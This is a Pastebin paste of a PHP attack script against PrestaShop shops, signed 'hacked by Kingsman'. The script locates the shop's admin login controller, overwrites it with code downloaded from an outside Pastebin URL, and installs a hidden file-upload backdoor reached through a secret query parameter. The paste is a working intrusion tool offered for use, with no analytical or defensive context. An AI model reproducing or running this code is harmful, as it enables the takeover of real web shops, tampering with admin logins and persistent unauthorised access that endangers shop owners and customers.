Advertisement
Seckiller

presta_2

Jan 18th, 2020
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.24 KB | None | 0 0
  1. <?php
  2. echo "hacked by Kingsman";
  3. $sss=array('/','../','../../','../../../','../../../../','../../../../../');
  4. foreach($sss as $pa){
  5. $p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
  6. foreach($p1 as $path){
  7. if (file_exists("$path"))
  8. {
  9. $html = @file_get_contents('https://pastebin.com/raw/GWBZUkAd');
  10. $save=fopen($path,'w');
  11. fwrite($save,$html);
  12. echo "<br> ./done panel <br>";
  13. }}}
  14. if($_GET['up']=="hous"){
  15. echo '<center><font color="Red" size="4">';
  16. /// Script Upload By Zeus.Undo\\\
  17. if(isset($_POST['Submit'])){
  18.     $filedir = "";
  19.     $maxfile = '2000000';
  20.     $mode = '0644';
  21.     $userfile_name = $_FILES['image']['name'];
  22.     $userfile_tmp = $_FILES['image']['tmp_name'];
  23.     if(isset($_FILES['image']['name'])) {
  24.         $qx = $filedir.$userfile_name;
  25.         @move_uploaded_file($userfile_tmp, $qx);
  26.         @chmod ($qx, octdec($mode));
  27. echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
  28. }
  29. }
  30. else{
  31. echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
  32. }
  33. echo "<br> Fucked up Good :D <br>";
  34. echo '</center></font>';
  35.  
  36. }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement